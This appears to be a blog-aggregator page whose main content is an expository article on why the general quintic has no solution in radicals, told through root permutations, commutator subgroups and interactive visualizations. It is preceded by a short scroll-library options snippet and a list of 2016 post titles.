// desiredOffset - page offset to scroll
// options - object with options

// default options
const options = {
  // duration of the scroll per 1000px, default 500
  speed: 500,

  // minimum duration of the scroll
  minDuration: 250,

  // maximum duration of the scroll
  maxDuration: 1500,

  // DOM element to scroll, default window
  // Pass a reference to a DOM object
  // Example: document.querySelector('#element-to-scroll'),
  element: window,

  // should animated scroll be canceled on user scroll/keypress
  // if set to "false" user input will be disabled until animated scroll is complete
  cancelOnUserAction: true
};

const desiredOffset = 1000;

animateScrollTo(desiredOffset, options);

Why doesn't Redux support AJAX out of the box?

Gosha Spark — Wed, 28 Sep 2016 03:00:00 GMT

Kernel Recipes 2016 notes

Linux Engineer's random thoughts — Wed, 28 Sep 2016 01:00:00 GMT

Update 2016-10-21: I've added links to the videos and LWN articles, which are of much higher quality than these live notes.

This year I'm trying a live blog of Kernel Recipes 2016, live from Paris, at Mozilla's headquarters. You can watch the live stream here.

The kernel report

by Jonathan …

Links - September 27th, 2016

Avy Faingezicht — Tue, 27 Sep 2016 03:00:00 GMT

Running a Node.js process on Debian as a Systemd Service

Thomas Hunter II — Tue, 27 Sep 2016 03:00:00 GMT

Maze thing, part 2

TOGoS's Project Log — Mon, 26 Sep 2016 21:13:37 GMT

Why is the Quintic Unsolvable?

Fred Akalin — Mon, 26 Sep 2016 10:00:00 GMT

(This was discussed on r/math and Hacker News.)

1. Overview

In this article, I hope to convince you that the quintic equation is unsolvable, in the sense that I can’t write down the solution to the equation \[ ax^5 + bx^4 + cx^3 + dx^2 + ex + f = 0 \] using only addition, subtraction, multiplication, division, raising to an integer power, and taking an integer root. In fact, I hope to go further and explain how this is true for the same reason that I can’t write down the solution to the equation \[ ax^2 + bx + c = 0 \] using only the first five operations above!

The usual approach to the above claim involves a semester’s worth of abstract algebra and Galois theory. However, there’s a much easier and shorter proof which involves only a bit of group theory and complex analysis—enough to fit in a blog post—and some interactive visualizations.^[1]

2. Quadratic Equations

Let’s start with quadratic equations, which hopefully you all remember from high school. Given two complex numbers $r_1$ and $r_2$, you can determine the quadratic equation whose solutions are $r_1$ and $r_2$, namely \[ (x - r_1)(x - r_2) = x^2 - (r_1 + r_2) x + r_1 r_2 = 0\text{.} \] If we take the standard form of a quadratic equation to be \[ a x^2 + bx + c = 0\text{,} \] then we can define a function from $r_1$ and $r_2$ to $a$, $b$, and $c$, which is shown by the first two panels in the visualization below; drag either of the points $r_1$ and $r_2$ and notice how $b$ and $c$ move ($a$ will always remain fixed at $1$).

Now pretend that we misremember the quadratic formula as \[ x_{1, 2} = \frac{-b ± b^2 - 4ac}{4a}\text{.} \] The results of this formula—our candidate solution—are shown in the third panel. Note that since $x_1$ and $x_2$ depend on $a$, $b$, and $c$, which all depend on $r_1$ and $r_2$, they also move when you drag either $r_1$ and $r_2$

Interactive Example 1: An incorrect quadratic formula

Roots

Coefficients

Candidate solution

Now this formula looks right, since $x_1$ and $x_2$ are at the same coordinates as $r_1$ and $r_2$. However, if you move $r_1$ or $r_2$ around, you can easily convince yourself that this formula can’t be right, since $x_1$ and $x_2$ don’t move in the same way.

Now if you remember from high school, the real quadratic formula involves taking a square root, and since our candidate solution doesn’t do that, that means it’s probably incorrect. I say “probably” because there’s no immediate reason why there can’t be multiple quadratic formulas, some simpler than others, of which one is simple enough to not need a square root. From manipulating $r_1$ and $r_2$, we know that our candidate formula is incorrect, but that doesn’t immediately follow from it not having a square root.

Fortunately, there is a general way to rule out candidate solutions that are similar to the one above, namely those that use only addition, subtraction, multiplication, division, and raising to an integer power; we’ll call these rational expressions. Here’s how it goes: if you press the button to swap $r_1$ and $r_2$, which moves $r_1$ to $r_2$’s position and vice versa, $a$, $b$, and $c$ move from their starting positions but return once $r_1$ and $r_2$ reach their destinations. This makes sense, because the coefficients of a polynomial don’t depend on how you order the roots. But since $x_1$ and $x_2$ depend only on $a$, $b$, and $c$, they too must loop back to their starting positions.

But that means that our candidate solution cannot be the quadratic formula! If it were, then $x_1$ and $x_2$ would have ended up swapped, too. Instead, they went back to their starting positions, which is a contradiction. This reasoning holds for any expression which is a single-valued function of $a$, $b$, and $c$, so in particular this holds for rational expressions.

Let’s summarize our reasoning in a theorem:

(Theorem 1.) A rational expression^[2] in the coefficients of the general quadratic equation \[ ax^2 + bx + c = 0 \] cannot be a solution to this equation.

Sketch of proof. Assume to the contrary that the rational expression $x = f(a, b, c)$ is a solution. Assume that we start with $r_1 = z_1$ and $r_2 = z_2 \ne z_1$, and without loss of generality assume that we start with $x = z_1$.

Run $r_1$ and $r_2$ along continuous paths that swap their two positions, i.e. make $r_1$ head from $z_1$ to $z_2$ continuously, and at the same time make $r_2$ head from $z_2$ to $z_1$ continuously, and make sure to pick paths such that $r_1$ and $r_2$ never coincide.

Since $a$, $b$, and $c$ are continuous functions of $r_1$ and $r_2$, and $x$ is a rational function of $a$, $b$ and $c$, and thus continuous, $x$ then depends continuously on $r_1$ and $r_2$. Thus, since we start with $x = r_1 = z_1$, and $r_1$ never coincides with $r_2$, then as $r_1$ moves, $x = r_1$ must continue to hold, since $x$ is a solution, and therefore $x$’s final position must be the same as $r_1$’s, which is $z_2$.

However, since the coefficients $a$, $b$, and $c$ don’t depend on the ordering of $r_1$ and $r_2$, then their final positions are the same as their initial positions. Since $x$ is a function of only $a$, $b$, and $c$, its final position also must be the same as its initial position, $z_1$. This contradicts the above, and therefore $x$ cannot be a solution. ∎

Now consider the candidate solution \[ x_{1,2} = \sqrt{b^2 - 4ac}\text{.} \] This isn’t a rational expression since it has a square root. In particular, in the visualization below, it behaves quite differently from our first candidate solution. First, even though we have just a single expression, it yields two points $x_1$ and $x_2$. Second, and more surprisingly, if you swap $r_1$ and $r_2$, $x_1$ and $x_2$ also exchange places, seemingly contradicting Theorem 1! What is going on?

Interactive Example 2: The quadratic equation

Roots

Coefficients

Candidate solution

$x_{1, 2} = \frac{-b \pm b^2 - 4ac}{4a}$
$x_1 = b^2 - 4ac$
$x_{1, 2} = \sqrt{b^2 - 4ac}$
$x_{1, 2} = \frac{-b + \sqrt{b^2 - 4ac}}{2a}$
(the quadratic formula)

To answer this, we first need to review some facts about complex numbers. Recall that a complex number $z$ can be expressed in polar coordinates, where it has a length $r$ and an angle $θ$, and that it can be converted to the usual Cartesian coordinates using Euler’s formula: \[ z = r e^{iθ} = r \cos θ + i \, r \sin θ\text{.} \] Then, if you have two complex numbers $z_1 = r_1 e^{iθ_1}$ and $z_2 = r_2 e^{iθ_2}$ in polar form, you can multiply them by multiplying their lengths, and adding their angles: \[ z_1 z_2 = r_1 r_2 e^{i (θ_1 + θ_2)}\text{.} \] So a square root of a complex number $z = r e^{iθ}$ is just $\sqrt{r} e^{iθ/2}$, as you can easily verify. However, if $z$ is non-zero, there is one more square root of $z$, namely $\sqrt{r} e^{i (θ/2 + π)}$, as you can also verify. (Recall that angles that differ by $2π = 360^\circ$ are considered the same.)

So in general, the square root of a rational expression, like our candidate solution, yields two distinct points as long as the rational expression is non-zero. In our case, $b^2 - 4ac$ remains non-zero as $r_1$ and $r_2$ don’t coincide. (We’ll have more to say about this expression, called the discriminant, once we talk about cubic equations below.) Therefore, if we want to examine how $x_1$ and $x_2$ move as $r_1$ and $r_2$ move, we have to number the square roots of $b^2 - 4ac$, and we have to keep this numbering consistent.

To do so, we have to do two things: we have to vary $r_1$ and $r_2$ only continuously, and we have to vary $r_1$ and $r_2$ such that they never coincide. If we do this, then we can intuitively “lift” the expression $b^2 - 4ac$ from the complex plane to a new surface $S$ where we consider only angles that differ by $4π = 720^\circ$, rather than $2π$, to be the same. In this space, we can take the “first” square root of a non-zero complex number to be the one with half the angle, and the “second” square root to be the one with half the angle plus $π$, and have these two square root functions behave continuously as their argument goes around the origin.

Figure 1 $S$, which is the Riemann surface of $\sqrt{z}$. (Image by Leonid 2 licensed under CC BY-SA 3.0.)

Now this answers the question of why the proof of Theorem 1 fails for $\sqrt{b^2 - 4ac}$. $a$, $b$, and $c$, go around a single loop as $r_1$ is swapped with $r_2$, and therefore $b^2 - 4ac$ goes around a single loop in the complex plane, but when $b^2 - 4ac$ is lifted to $S$, the final position of $b^2 - 4ac$ differs from the initial position only by an angle of $2π$, so it is distinct from the initial position, and thus we can’t conclude that the final position of $\sqrt{b^2 - 4ac}$ is the same as the initial position.

Similar reasoning holds for any algebraic expression that isn’t a rational expression, i.e. ones that involve taking any integer root, so Theorem 1 cannot apply to algebraic expressions in general. Of course, this is consistent with what we know about the quadratic formula, since we know that it has a square root!

3. Cubic Equations

Now we can move on to cubic equations. Similarly, given three complex numbers $r_1$, $r_2$, and $r_3$, you can determine the cubic equation with those solutions, namely \[ (x - r_1) (x - r_2) (x - r_3) = x^3 - (r_1 + r_2 + r_3) x^2 + (r_1 r_2 + r_1 r_3 + r_2 r_3) x - r_1 r_2 r_3\text{,} \] and so we can define a function from $r_1$, $r_2$, and $r_3$ to $a$, $b$, $c$, and $d$, where \[ a x^3 + b x^2 + c x + d \] is the standard form of a cubic polynomial, and this is shown in the visualization below.

In the previous section, we talked about the discriminant $b^2 - 4ac$ of the general quadratic polynomial. However, the discriminant is an expression that is defined for any polynomial. If $r_1, \dotsc, r_n$ are the roots of a polynomial (counting multiplicity) with leading coefficient $a_n$, then the discriminant is \[ Δ = a_n^{2n - 2} ∏_{i \lt j} (r_i - r_j)^2\text{.} \] In other words, the discriminant is, up to sign and a power of the leading coefficient, the product of the differences of all pairs of different roots. In particular, if the polynomial has repeated roots, the discriminant is zero.

Using the formula above, you can express the discriminant in terms of the coefficients of the polynomial, as you can verify for yourself with the quadratic equation. Indeed this is true in general; for cubic polynomials, the discriminant can be expressed in terms of the coefficients as \[ Δ = b^2 c^2 - 4 a c^3 - 4 b^3 d - 27 a^2 d^2 + 18 a b c d\text{.} \] But why do we care? Because, as you can see in the visualization below, if you swap any pair of roots, this causes the discriminant to make a single loop around the origin, so it serves as a useful test functions for taking roots.

So now that we have three roots, we can swap them in multiple ways. If $R$ is a list that starts off as $\langle r_1, r_2, r_3 \rangle$, let $↺_{i, j}$ denote counter-clockwise paths that takes the root at the $i$th index of $R$ to the one at the $j$th index of $R$ and vice versa, and similarly for $↻_{i, j}$. (Note that this is not the same as the paths that swap $r_i$ and $r_j$! Play around with the buttons in the visualization below to understand the difference.)

Interactive Example 3: The cubic discriminant

Roots

$R = \langle r_1, r_2, r_3 \rangle$

Coefficients

Candidate solution

$x_1 = Δ$
$x_{1, 2, 3, 4, 5} = \sqrt[5]{Δ}$

Now, with the formula $Δ$, the same reasoning as in the previous section shows that it cannot possibly be the cubic formula, nor can any other rational expression. However, unlike the quadratic case, we can also rule out $\sqrt[5]{Δ}$, or any other algebraic formula with no nested radicals (i.e., that doesn’t have a radical within a radical like $\sqrt{a - \sqrt{bc - 5}}$). If you apply the operations $↺_{2, 3}$, $↺_{1, 2}$, $↻_{2, 3}$, and $↻_{1, 2}$ in sequence, $r_1$, $r_2$, and $r_3$ rotate among themselves, but all the $x_i$ go back to their original positions. Therefore, by similar reasoning as the previous section, $\sqrt[5]{Δ}$ also cannot possibly be the cubic formula!

To make this statement precise, we need to review some group theory. Recall that a group is a set with an associative binary operation, an identity element, and inverse elements. Most basic examples of groups are related to numbers, like the integers under addition, or the non-zero rationals under multiplication. However, more interesting examples of groups are related to functions, none the least because the group operation for functions is composition, which is in general not commutative; in other words, if $f$ and $g$ are functions, $f \circ g \ne g \circ f$, and it is this non-commutativity that will come in handy for our purposes.

So let’s say we have a list of $n$ objects, and we’re interested in the functions that rearrange this list’s elements. These are permutations, and they naturally form a group under composition, as you can check for yourself, called $S_n$, the symmetric group on $n$ objects.

There’s a convenient way to write permutations, called cycle notation. If you write $(i_1 \; i_2 \; \dotsc \; i_k)$, this denotes the permutation that maps the $i_1$th position of the list to the $i_2$th position the $i_2$th position to the $i_3$th, and so on, called a cycle. Then you can write any permutation as a composition of disjoint cycles, so this provides a convenient way to write down and compute with permutations.

In the visualization above, we have four operations $↺_{1, 2}$, $↺_{2, 3}$, $↻_{1, 2}$, and $↻_{2, 3}$, which act on $R$, meaning that they define permutations on $R$. In particular, $↺_{1, 2}$ and $↻_{1, 2}$ both swap the first and second elements of $R$, so we say that $↺_{1, 2}$ and $↻_{1, 2}$ act on $R$ as $(1 \; 2)$, and similarly, $↺_{2, 3}$ and $↻_{2, 3}$ act on $R$ as $(2 \; 3)$.

Now concatenating two operations—doing one after the other—corresponds to composing their mapped-to permutations on $R$. Denoting $o_2 * o_1$ as doing $o_1$, then doing $o_2$, the sequence of operations above is $↻_{1, 2} * ↻_{2, 3} * ↺_{1, 2} * ↺_{2, 3}$ (note the order!), which acts on $R$ like $(1 \; 2) (2 \; 3) (1 \; 2) (2 \; 3)$, which is equal to $(1 \; 3 \; 2)$.^[3] (The $\circ$ is usually dropped when composing permutations.)

Now for the formula $Δ$, all the operations make $x_1$ loop around the origin either clockwise or counter-clockwise; in other words, they all induce a rotation of $2π$ or $-2π$ on $x_1$, and the final distance of $x_1$ from the origin is the same as the initial distance. Therefore, if we apply an equal number of clockwise and counter-clockwise rotations, the total angle of rotation will be $0$ and the final distance will be the same as the initial distance, i.e. the final position of $x_1$ is the same as it’s initial distance. But the same reasoning holds for the formula $\sqrt[5]{Δ}$; all the operations induce a rotation of $2π/5$ or $-2π/5$ and leave the distance from the origin unchanged, so an equal number of clockwise and counter-clockwise rotations will still induce a total angle of $0$ and leave the distance from the origin unchanged. Therefore, the operation $↻_{1, 2} * ↻_{2, 3} * ↺_{1, 2} * ↺_{2, 3}$ acts like $(1 \; 3\; 2)$ on $R$, but leaves all $x_i$ unchanged.

But how did we come up with $↻_{1, 2} * ↻_{2, 3} * ↺_{1, 2} * ↺_{2, 3}$ in the first place? This involves a bit more group theory. $S_3$ is not a commutative group; in particular, $(1 \; 2) (2 \; 3) \ne (2 \; 3) (1 \; 2)$. For two group elements $g$ and $h$, we can define their commutator^[4] $[ g, h ]$, which is the group element that corrects for $g$ and $h$ not commutating. That is, we want the equation \[ g h = h g [g, h] \] to hold, which means that \[ [g, h] = g^{-1} h^{-1} g h\text{.} \] So the commutator provides a convenient way to generate a non-trivial permutation from two other non-commuting permutations. Furthermore, it involves two appearances of both elements, so we can pick a sequence of operations that induce the commutator and also have an equal number of clockwise and counter-clockwise operations. Then we’re guaranteed that this sequence of operations permutes $R$ and leaves all $x_i$ unchanged, even if each individual operation moves some $x_i$. But of course, this is just $↻_{1, 2} * ↻_{2, 3} * ↺_{1, 2} * ↺_{2, 3}$!

Let’s define some terminology to make proofs and discussion easier. If $o$ is an operation that acts on $R$ non-trivially but has the final position of the expression $x = f(a, b, c, \dotsc)$ the same as its initial position, we say that $o$ rules out the expression $x = f(a, b, c, \dotsc)$. For example, Theorem 1 says that swapping both roots of a quadratic rules out all rational expressions.

Now we’re ready to state and prove the theorem:

(Theorem 2.) An algebraic expression with no nested radicals in the coefficients of the general cubic equation \[ ax^3 + bx^2 + cx + d = 0 \] cannot be a solution to this equation.

Sketch of proof. First assume to the contrary that the expression $x = \sqrt[k]{r(a, b, c, d)}$ is a solution, where $r(a, b, c, d)$ is a rational expression. Assume we start with $r_1 = z_1$, $r_2 = z_2$, and $r_3 = z_3$, where all $z_i$ are distinct, and without loss of generality assume that we start with $x = z_1$.

Any of the operations $↺_{1, 2}$, $↺_{2, 3}$, $↻_{1, 2}$, and $↻_{2, 3}$ applied to $x = r(a, b, c, d)$ cause $x$’s final position to be the same as its initial position, by Theorem 1. Pick a point $z_0$ that is never equal to any point $x$ traverses under any operation. Then, by the same reasoning as above, the total angle induced by $↻_{1, 2} * ↻_{2, 3} * ↺_{1, 2} * ↺_{2, 3}$ on $x = \sqrt[k]{r(a, b, c, d)}$ around $z_0$ is $0$, and the distance from $z_0$ remains unchanged. Thus $x$ remains fixed, and this operation rules out $x = \sqrt[k]{r(a, b, c, d)}$.

For the general case, it suffices to show that if $o$ rules out the expressions $f$ and $g$, then $o$ also rules out $f$ raised to an integer power, $f + g\text{,}$ $f - g\text{,}$ $f \cdot g\text{,}$ and $f / g$ where $g \ne 0\text{.}$ But this is straightforward, and such formulas are just the algebraic expressions with no nested radicals, so the statement holds in general. ∎

Theorem 2 can be summarized thus: any $↺_{i, j}$ or $↻_{i, j}$ rules out any rational expression as the cubic formula, and if given an algebraic expression with no nested radicals, either some $↺_{i, j}$ or $↻_{i, j}$ rules it out, or $↻_{1, 2} * ↻_{2, 3} * ↺_{1, 2} * ↺_{2, 3}$ rules it out.

Now we can consider algebraic expressions with one level of nesting. Can such formulas be ruled out as being the cubic formula? We can’t do so via Theorem 2, at least; we would need a non-trivial element of $S_3$ that is the commutator of commutators. But you can calculate that all non-trivial commutators of $S_3$ are either $(3 \; 2 \; 1)$ or $(1 \; 2\; 3)$, and these two elements commute, so $S_3$ cannot have a non-trivial commutator of commutators.

In fact, as we would expect, the actual cubic formula has such an algebraic expression, which is $C$ in the visualization below, so that serves as a convenient example of an algebraic expression with a single nested radical that can’t be ruled out by Theorem 2.

Interactive Example 4: The cubic equation

Roots

$R = \langle r_1, r_2, r_3 \rangle$

Coefficients

Candidate solution

$X = \langle x_1, x_2, x_3, x_4, x_5, x_6 \rangle$
$x_1 = -27a^2 Δ = {Δ_1}^2 - 4 {Δ_0}^3$
$x_{1, 2} = C^3 = \frac{Δ_1 + \sqrt{-27a^2 Δ}}{2}$
$x_{1,2,3,4,5,6} = C$
$x_{1, 2, 3} = -\frac{1}{3a} \left( b + C + \frac{Δ_0}{C} \right)$
(the cubic formula)

Note that there is a new list $X$, which lists the $x_i$ in the order which they occupy their initial positions, like how $R$ does the same for the $r_i$. In general, we can’t do this, since a general multi-valued function won’t necessarily permute that $x_i$ among themselves, but in the interactive visualizations we’ll only consider expressions that do.

We can then talk how an operation acts on $X$. For example, if we pick $\sqrt[5]{Δ}$ in Interactive Example 3, we can say that $↺_{i, j}$ acts like $(5 \; 1 \; 2 \; 3 \; 4)$ on $X$ and $↻_{i, j}$ acts like $(1 \; 2 \; 3 \; 4 \; 5)$ on $X$. Therefore, $↻_{1, 2} * ↻_{2, 3} * ↺_{1, 2} * ↺_{2, 3}$ acts non-trivially on $R$ but acts trivially on $X$, which is another more algebraic way of saying that if this operation rules out $\sqrt[5]{Δ}$, since the action on $X$ depends on the candidate formula. On the other hand, if you choose $C$ in the visualization above, you can convince yourself that no operation acts non-trivially on $R$ without also acting non-trivially on $X$, and so $C$ can’t be ruled out as the cubic formula.

4. Quartic Equations

Now we can move on to quartic equations. As usual, given four complex numbers $r_1$, $r_2$, $r_3$, and $r_4$, you can map this to the coefficients $a$, $b$, $c$, $d$, and $e$ of the standard form of a quartic polynomial, as shown in the visualization below, such that the $r_i$ are the solutions to the quartic equation \[ a x^4 + b x^3 + c x^2 + d x + e = 0\text{.} \]

Now that we have four roots, we have even more ways to permute them using the $↺_{i, j}$ and $↻_{i, j}$. Before we move on, we need more terminology and group theory to handle this more complicated case.

First, we want a convenient way to denote the combination of operations that act like a commutator, so let’s define $↺_{i, j}^\prime$ to mean $↻_{i, j}$ and vice versa, $(o_1 \circ o_2 \circ \dotsb \circ o_n)^\prime$ to mean $o_n^\prime \circ o_{n-1}^\prime \circ \dotsb \circ o_1^\prime$, and $[\![ o_1, o_2 ]\!]$ to mean $o_1^\prime \circ o_2^\prime \circ o_1 \circ o_2$, so that if $o_i$ acts on $R$ like $g_i$, then $o_i^\prime$ acts on $R$ like $g_i^{-1}$ and $[\![o_i, o_j]\!]$ acts on $R$ like $[g_i, g_j]$. For example, in the previous section, we were using $[\![ ↺_{1, 2}, ↺_{2, 3} ]\!]$ to rule out algebraic expressions with no nested radicals.

Then not only do we want to talk about commutators of particular permutations, we want to talk about the set of commutators of a particular group. In fact, for a group $G$, this set of commutators forms a subgroup $K(G)$ called the commutator subgroup. For the quadratic case, we just have $S_2$, which has only a single non-trivial element, so its commutator subgroup $K(S_2)$ is the trivial group. For the cubic case, we started with $S_3$, and we computed the commutator subgroup $K(S_3)$, which is just $\{ e, (1 \; 2 \; 3), (3 \; 2 \; 1) \}$. We can also compute the commutator of this group, which is just the trivial group again, since $K(S_3)$ is commutative. So we can see that $K(K(S_3))$ being the trivial group means that we can’t rule out algebraic expressions with nested radicals as solutions to the general cubic equation.

Given all the elements of a group $G$, it’s not particularly complicated to compute the commutator subgroup—just take all possible pairs of elements $g, h \in G$, compute $[g, h]$, and remove duplicates. However, we can make things easier for ourselves by finding generators for $K(G)$ as commutators of generators of $G$, since then we can easily map those back to $[\![ o_1, o_2 ]\!]$ applied on the appropriate operations. Fortunately, when $G = S_n$, we can use a few facts from group theory to easily compute $K(S_n)$. First, $K(S_n)$ is called the alternating group $S_n$, and is generated by the $3$-cycles of the form $(i \enspace i+1 \enspace i+2)$, similar to how $S_n$ is generated by the $2$-cycles of the form $(i \enspace i + 1)$. But a $3$-cycle $(i \enspace i+1 \enspace i+2)$ can be expressed as the commutator of two $2$-cycles $[(i+2 \enspace i+1), (i \enspace i+1)]$.

Therefore, for $S_4$, the generators for $K(S_4)$ are just $(1 \; 2 \; 3) = [(2 \; 3), (1 \; 2)]$ and $(2 \; 3 \; 4) = [(3 \; 4), (2 \; 3)]$, with respective operations $[\![ ↺_{2, 3}, ↺_{1, 2} ]\!]$ and $[\![ ↺_{3, 4}, ↺_{2, 3} ]\!]$. However, these two generators are not quite enough to generate $K^{(2)}(S_4)$ via commutators. Fortunately, it suffices to just add $↺_{4, 1}$ to the list of operations, which lets us add $(1 \; 4)$ to the list of generators for $S_4$, and then add $(3 \; 4 \; 1)$ to the list of generators for $K(S_4)$. Then $(1 \; 4) (2 \; 3) = [(2 \; 3 \; 4), (1 \; 2 \; 3)]$ and $(2 \; 1) (3 \; 4) = [(3 \; 4 \; 1), (2 \; 3 \; 4)]$ suffice to generate $K^{(2)}(S_4)$.^[5] Finally, we can easily compute $K^{(3)}(S_4)$ to be the trivial group.

What does that tell us about what expressions we can rule out as solutions to the general quartic equation? Similarly to the cubic case, we expect to be able to rule out rational expressions and algebraic expressions with no nested radicals, and since $K^{(2)}(S_4)$ is not the trivial group, we also expect to be able to rule out algebraic expressions with singly-nested radicals, like $\sqrt{a - \sqrt{bc - 4}}$. But since $K^{(3)}(S_4)$ is the trivial group, we don’t expect to be able to rule out algebraic expressions with doubly-nested radicals, like $\sqrt{a - \sqrt{bc - \sqrt{d + 3}}}$.

As an antidote to all the abstractness above, here is a visualization for quartics, where you can examine how the various operations interact with the quartic formula and its subexpressions.

Interactive Example 5: The quartic equation

Roots

$R = \langle r_1, r_2, r_3, r_4 \rangle$

Coefficients

Candidate solution

$X = \langle x_1, x_2, x_3, x_4, x_5, x_6 \rangle$

$x_1 = -27 Δ$
$x_{1, 2} = Q^3 = \frac{Δ_1 + \sqrt{-27 Δ}}{2}$
$x_{1, 2, 3, 4, 5, 6} = Q$
$x_{1, 2, 3, 4, 5, 6} = S =$
$\qquad \frac{1}{2} \sqrt{-\frac{2}{3} p + \frac{1}{3a} \left( Q + \frac{Δ_0}{Q} \right)}$
$x_{1, 2, 3, 4} = $
$\qquad -\frac{b}{4a} \mp S + \frac{1}{2} \sqrt{-4S^2 - 2p \pm \frac{q}{S}}$
(the quartic formula)

There are a few additions to the interactive display above. It now prints a message when it detects that the selected expression is ruled out as the quartic formula, which just looks at whether $R$ is not in order and $X$ is, and vice versa. There’s also a button to reset the ordering of $R$ and $X$.

The second addition is that the operations have been organized to make clear what commutator subgroup they’re in. The $A_i$ map to generators of $S_4$. Then taking the commutators of adjacent $A_i$ give $B_i$, which map to the generators of $K(S_4)$, and similarly for $C_i$.

The third addition is a button that finds the first operation that rules out the selected formula, if any. It simply tries all the $A_i$s, then all the $B_i$s, then all the $C_i$s, checking $R$ and $X$ in between. The general algorithm, which assumes a fixed set of roots $r_1, \dotsc, r_n\text{,}$ takes an expression $f(a_n, a_{n-1}, \dotsc)$ where $a_n x^n + a_{n-1} x^{n-1} + \dotsb + a_0 = 0$ is the general $n$th-degree polynomial equation, takes a depth limit $k$, and looks like this (defining $K^{(0)}(G)$ to be just $G$):

For $i$ from 0 to $k$:
1. If $K^{(i)}(S_n)$ is trivial, then terminate indicating that $f(a_n, a_{n-1}, \dotsc)$ was unable to be ruled out because $K^{(i)}(S_n)$ is trivial.
2. Otherwise, find operations $o_1$ to $o_m$ that act as the generators $g_1$ to $g_m$ of $K^{(i)}(S_n)$. For $i > 0$, this can be done by applying $[\![ o_1, o_2 ]\!]$ to the operations corresponding to the generators of $K^{(i-1)}(S_n)$.
3. For each $o_j$:
  1. Apply $o_j$.
  2. If $R$ is not in order but $X$ is, terminate indicating that $o_j$ rules out $f(a_n, a_{n-1}, \dotsc)$.
  3. Undo $o_j$, i.e. apply $o_j^\prime$ or reset to the initial state of $r_1, \dotsc, r_n$.
Terminate indicating that $f(a_n, a_{n-1}, \dotsc)$ was unable to be ruled out because the depth limit has been reached.

This algorithm basically just implements the proof of the following lemma, which generalizes the previous theorems, except that it tries to find the simplest operation that is a generator that rules out the given expression.

Before we state the lemma, we need another definition: let the radical level of an algebraic expression $f(a_n, a_{n-1}, \dotsc)$ be $0$ if $f(a_n, a_{n-1}, \dotsc)$ is a rational expression, $1$ if $f(a_n, a_{n-1}, \dotsc)$ has only non-nested radicals, and $n + 1$ if the maximum number of nested radicals is $n$.

(Lemma 3.) If the algebraic expression $f(a_n, a_{n-1}, \dotsc)$ has radical level $d$ and $K^{(d)}(S_n)$ is non-trivial, then any operator that maps to a non-trivial element $g$ in $K^{(d)}(S_n)$ rules out $f(a_n, a_{n-1}, \dotsc)$ as the solution to the general $n$th-degree polynomial equation \[ a_n x^n + a_{n+1} x^{n+1} + \dotsb + a_0 = 0\text{.} \]

Rough sketch of proof. We just do induction on $d$. For the base case $d = 0$, if $K^{(0)}(S_n)$ is non-trivial, then $n \ge 2$. Let $g = (i \; j)$ for any $i \ne j$, of which there must at least be one. Then by the same reasoning as Theorem 1, $g$ rules out $f(a_n, a_{n-1}, \dotsc)$. Since the $(i \; j)$ generate $S_n$, then any $g \in S_n$ is the composition of some sequence of $(i \; j)$s, each of which rules out $f(a_n, a_{n-1}, \dotsc)$, so $g$ must also rule it out.

Assume the lemma holds for $d$, and let $x = f_{d+1}(a_n, a_{n-1}, \dotsc) = \sqrt[k]{f_d(a_n, a_{n-1}, \dotsc)}$ for some $k$, where $f_d$ has radical level $d$. Let $o$ act on $R$ like any non-trivial element $g$ of $K^{(d+1)}(S_n)$. By the induction hypothesis, all elements $h_i \in K^{(d)}(S_n)$ cause $x = f_d(a_n, a_{n-1}, \dotsc)$ to go around a loop, so pick a point $z_0$ that is never equal to any point $x$ traverses under any operation corresponding to $h_i$. Then, since $g = [h, k]$ for $h, k \in K^{(d)}(S_n)$, by the same reasoning as in Theorem 2, the total angle induced by $o$ on $x = f_{d+1}(a_n, a_{n-1}, \dotsc)$ around $z_0$ is $0$, and the distance from $z_0$ remains unchanged. Thus, $x = f_{d+1}(a_n, a_{n-1}, \dotsc)$ remains fixed, and $o$ rules it out.

By the same reasoning as in Theorem 2, this can be extended to the general case of $f(a_n, a_{n-1}, \dotsc)$ being any algebraic formula with nesting level $d + 1$. ∎

We can immediately deduce the following corollaries, using the fact that $K^{(2)}(S_4)$ is non-trivial:

(Corollary 4.) An algebraic expression with at most singly-nested radicals in the coefficients of the general quartic equation \[ ax^4 + bx^3 + cx^2 + dx + e = 0 \] cannot be a solution to this equation.^[6]

5. Quintic Equations

Now, finally, the quintic. Let’s jump right to the interactive example.

Interactive Example 6: The quintic equation

Roots

$R = \langle r_1, r_2, r_3, r_4, r_5 \rangle$

Coefficients

Candidate solution

$X = \langle x_1, x_2, x_3, x_4, x_5, x_6 \rangle$

$x_1 = f_A = Δ$
$x_{1, 2} = f_B = \sqrt{f_A}$
$x_{1, 2, 3, 4, 5, 6} = f_C =$
$\qquad \sqrt[3]{(f_B - 0.8)(f_B - 0.75)}$

Similarly to the interactive example for the quartic, the operations are organized to make clear what commutator subgroup they’re in. There’s something interesting though—the $C_i$ seem very similar to the $B_i$. In fact, the $C_i$ also act on $R$ like $A_5$! Also, if you compute $D_i = [\![ C_{(i+1) \bmod 5}, C_{i \bmod 5} ]\!]$, you will find that $D_i$ acts exactly like $B_i$ on $R$!

Why can we do this for the quintic, but not for anything of lower degree? This is because $A_5$ is perfect, which means that it equals its own commutator subgroup. (You can verify this yourself by brute force, e.g. writing a program, or you can play around with $3$-cycles and see that any $3$-cycle is the commutator of two other $3$-cycles.) Then this immediately implies that $K^{(n)}(S_5)$ is non-trivial for any $n$, which then implies our main result:

(Abel-Ruffini theorem.) An algebraic expression in the coefficients of the general $n$th-degree polynomial equation \[ a_n x^n + a_{n-1} x^{n-1} + \dotsb + a_0 = 0 \] for $n \ge 5$ cannot be a solution to this equation.

Proof. By the above, $A_5$ is perfect, so $K^{(d)}(S_5)$ is non-trivial for all $d$.

Since $S_5$ is a subgroup of $S_n$ for $n \ge 5$, $A_5 = K(S_5)$ must also be a subgroup of $A_n = K(S_n)$ for $n \ge 5$. But since $A_5$ is perfect, then $A_5$ must also be a subgroup of $K^{(d)}(S_n)$ for any $d$, which means that $K^{(d)}(S_n)$ is non-trivial for any $d$ and $n \ge 5$.

An algebraic expression has some finite radical level $d$, but $K^{(d)}(S_5)$ is non-trivial for any $d$ and $n \ge 5$, so by Lemma 3 no algebraic expression can be solution to the general $n$th-degree polynomial equation for $n \ge 5$. ∎

With the theorem above, we now have a succinct answer to the question at the beginning of this article. You can’t write down a solution to the general quadratic equation that is a rational expression because you can find an operation on the roots that will permute them non-trivially and yet leave the result of the expression constant. For the same reason, you can’t write down a solution to the general $n$th-degree polynomial equation that is an algebraic equation!

